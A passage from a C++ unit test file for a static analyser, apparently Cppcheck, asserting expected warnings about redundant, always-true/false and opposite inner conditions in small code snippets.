\"}\");\n ASSERT_EQUALS(\"[test.cpp:200:11] -> [test.cpp:200:16]: (style) Condition 'g' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator15() {\n // 10022\n check(\"struct PipeRoute {\\n\"\n \" std::deque points;\\n\"\n \" std::deque estimates;\\n\"\n \"};\\n\"\n \"void CleanPipeRoutes(std::map& pipeRoutes) {\\n\"\n \" for (auto it = pipeRoutes.begin(); it != pipeRoutes.end(); ) {\\n\"\n \" PipeRoute* curRoute = it->second;\\n\"\n \" if (curRoute->points.empty() && curRoute->estimates.size() != 2)\\n\"\n \" {\\n\"\n \" delete curRoute;\\n\"\n \" it = pipeRoutes.erase(it);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator16() { // #10070\n check(\"void foo(void* p) {\\n\"\n \" if (!p || p == -1) { }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator17() { // #12471\n check(\"struct R {\\n\"\n \" void set() { i = 1; }\\n\"\n \" int get() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct P {\\n\"\n \" void f();\\n\"\n \" R* r;\\n\"\n \"};\\n\"\n \"void P::f() {\\n\"\n \" int a = r->get();\\n\"\n \" r->set();\\n\"\n \" if (a == 0 && r->get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void secondAlwaysTrueFalseWhenFirstTrueError() {\n check(\"void f(void) {\\n\" // #8892\n \" const char c[1] = { \\'x\\' }; \\n\"\n \" if(c[0] == \\'x\\'){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'c[0]=='x'' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 1))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 3 || x == 4;\\n\"\n \" c = x < 5 || x == 4;\\n\"\n \" d = x >= 3 || x == 4;\\n\"\n \" e = x <= 5 || x == 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x > 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x >= 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x <= 5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 || x != 1;\\n\"\n \" c = x < 1 || x != 3;\\n\"\n \" d = x >= 5 || x != 1;\\n\"\n \" e = x <= 1 || x != 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x < 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x >= 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x <= 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 6 && x > 5;\\n\"\n \" c = x > 5 || x > 6;\\n\"\n \" d = x < 6 && x < 5;\\n\"\n \" e = x < 5 || x < 6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x > 6' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x > 6' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:15]: (style) Redundant condition: The condition 'x < 6' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:15]: (style) Redundant condition: The condition 'x < 5' is redundant since 'x < 6' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(double x, bool& b) {\\n\"\n \" b = x > 6.5 && x > 5.5;\\n\"\n \" c = x > 5.5 || x > 6.5;\\n\"\n \" d = x < 6.5 && x < 5.5;\\n\"\n \" e = x < 5.5 || x < 6.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x > 5.5' is redundant since 'x > 6.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:17]: (style) Redundant condition: The condition 'x > 6.5' is redundant since 'x > 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:17]: (style) Redundant condition: The condition 'x < 6.5' is redundant since 'x < 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:17]: (style) Redundant condition: The condition 'x < 5.5' is redundant since 'x < 6.5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(const char *p) {\\n\" // #10320\n \" if (!p || !*p || *p != 'x') {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Redundant condition: The condition '!*p' is redundant since '*p != 'x'' is sufficient. [redundantCondition]\\n\",\n errout_str());\n }\n\n void incorrectLogicOp_condSwapping() {\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void modulo() {\n check(\"bool f(bool& b1, bool& b2, bool& b3) {\\n\"\n \" b1 = a % 5 == 4;\\n\"\n \" b2 = a % c == 100000;\\n\"\n \" b3 = a % 5 == c;\\n\"\n \" return a % 5 == 5-p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool& b1, bool& b2, bool& b3, bool& b4, bool& b5) {\\n\"\n \" b1 = a % 5 < 5;\\n\"\n \" b2 = a % 5 <= 5;\\n\"\n \" b3 = a % 5 == 5;\\n\"\n \" b4 = a % 5 != 5;\\n\"\n \" b5 = a % 5 >= 5;\\n\"\n \" return a % 5 > 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:5:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:6:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:7:18]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(bool& b1, bool& b2) {\\n\"\n \" b1 = bar() % 5 < 889;\\n\"\n \" if(x[593] % 5 <= 5)\\n\"\n \" b2 = x.a % 5 == 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:20]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:19]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:22]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if (a % 2 + b % 2 == 2)\\n\"\n \" foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerCondition() {\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(a!=b)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"bool foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" return a!=b;\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:17]: (warning) Opposite inner 'return' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(b!=a)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a < 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #4186\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a > 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 4170\n check(\"class foo {\\n\"\n \" void bar() {\\n\"\n \" if (tok == '(') {\\n\"\n \" next();\\n\"\n \" if (tok == ',') {\\n\"\n \" next();\\n\"\n \" if (tok != ',') {\\n\"\n \" op->reg2 = asm_parse_reg();\\n\"\n \" }\\n\"\n \" skip(',');\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void next();\\n\"\n \" const char *tok;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i)\\n\"\n \"{\\n\"\n \" if(i > 5) {\\n\"\n \" i = bar();\\n\"\n \" if(i < 5) {\\n\"\n \" cout << a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i) {\\n\"\n \" i=6;\\n\"\n \"}\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(const int &i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:6:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class C { void f(int &i) const; };\\n\" // #7028 - variable is changed by const method\n \"void foo(C c, int i) {\\n\"\n \" if (i==5) {\\n\"\n \" c.f(i);\\n\"\n \" if (i != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // see linux revision 1f80c0cc\n check(\"int generic_write_sync(int,int,int);\\n\"\n \"\\n\"\n \"void cifs_writev(int i) {\\n\"\n \" int rc = __generic_file_aio_write();\\n\"\n \" if (rc > 0){\\n\"\n \" err = generic_write_sync(file, iocb->ki_pos - rc, rc);\\n\"\n \" if(rc < 0) {\\n\" // <- condition is always false\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11] -> [test.cpp:7:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n\n // #5874 - array\n check(\"void testOppositeConditions2() {\\n\"\n \" int array[2] = { 0, 0 };\\n\"\n \" if (array[0] < 2) {\\n\"\n \" array[0] += 5;\\n\"\n \" if (array[0] > 2) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6227 - FP caused by simplifications of casts and known variables\n check(\"void foo(A *a) {\\n\"\n \" if(a) {\\n\"\n \" B *b = dynamic_cast(a);\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a) {\\n\"\n \" int b = a;\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:2:7] -> [test.cpp:4:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(unsigned u) {\\n\"\n \" if (u != 0) {\\n\"\n \" for (int i=0; i<32; i++) {\\n\"\n \" if (u == 0) {}\\n\" // <- don't warn\n \" u = x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8186\n check(\"void f() {\\n\"\n \" for (int i=0;i<4;i++) {\\n\"\n \" if (i==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #8938\n check(\"void Delete(SS_CELLCOORD upperleft) {\\n\"\n \" if ((upperleft.Col == -1) && (upperleft.Row == -1)) {\\n\"\n \" GetActiveCell(&(upperleft.Col), &(upperleft.Row));\\n\"\n \" if (upperleft.Row == -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9702\n check(\"struct A {\\n\"\n \" void DoTest() {\\n\"\n \" if (!IsSet()) {\\n\"\n \" m_value = true;\\n\"\n \" if (IsSet());\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool IsSet() const { return m_value; }\\n\"\n \" bool m_value = false;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12725\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return !b;\\n\"\n \" b = g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:16]: (style) Return value '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerConditionPointers() {\n check(\"void f(struct ABC *abc) {\\n\"\n \" struct AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" do_something(abc);\\n\" // might change ab->a\n \" if (ab->a != 123) {\\n\"\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fred::f() {\\n\" // daca: ace\n \" if (this->next_ == map_man_->table_) {\\n\"\n \" this->next_ = n;\\n\"\n \" if (this->next_ != map_man_->table_) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(float *f) {\\n\" // #7405\n \" if(*f>10) {\\n\"\n \" (*f) += 0.1f;\\n\"\n \" if(*f<10) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f(int * x, int * y) {\\n\"\n \" if(!x) return x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionClass() {\n // #6095 - calling member function that might change the state\n check(\"void f() {\\n\"\n \" const Fred fred;\\n\" // <- fred is const, warn\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:5:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class Fred { public: bool isValid() const; void dostuff() const; };\\n\"\n \"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\" // <- dostuff() is const, warn\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19] -> [test.cpp:6:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6385 \"crash in Variable::getFlag()\"\n check(\"class TranslationHandler {\\n\"\n \"QTranslator *mTranslator;\\n\"\n \"void SetLanguage() {\\n\"\n \" if (mTranslator) {\\n\"\n \" qApp->removeTranslator(mTranslator);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str()); // just don't crash...\n\n check(\"bool f(std::ofstream &CFileStream) {\\n\" // #8198\n \" if(!CFileStream.good()) { return; }\\n\"\n \" CFileStream << \\\"abc\\\";\\n\"\n \" if (!CFileStream.good()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionUndeclaredVariable() {\n // #5731 - fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (x == -1){\\n\"\n \" x = do_something();\\n\"\n \" if (x != -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5750 - another fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (r < w){\\n\"\n \" r += 3;\\n\"\n \" if (r > w) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6574 - another fp when undeclared variable is used\n check(\"void foo() {\\n\"\n \" if(i) {\\n\"\n \" i++;\\n\"\n \" if(!i) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // undeclared array\n check(\"void f(int x) {\\n\"\n \" if (a[x] > 0) {\\n\"\n \" a[x] -= dt;\\n\"\n \" if (a[x] < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6313 - false positive: opposite conditions in nested if blocks when condition changed\n check(\"void Foo::Bar() {\\n\"\n \" if(var){\\n\"\n \" --var;\\n\"\n \" if(!var){}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca hyphy\n check(\"bool f() {\\n\"\n \" if (rec.lLength==0) {\\n\"\n \" rec.Delete(i);\\n\"\n \" if (rec.lLength!=0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionAlias() {\n check(\"void f() {\\n\"\n \" struct S s;\\n\"\n \" bool hasFailed = false;\\n\"\n \" s.status = &hasFailed;\\n\"\n \"\\n\"\n \" if (! hasFailed) {\\n\"\n \" doStuff(&s);\\n\"\n \" if (hasFailed) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Condition '!hasFailed' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerCondition2() {\n // first comparison: <\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x==5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x!=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x==4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=6) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=6' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // first comparison: >\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x==4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n 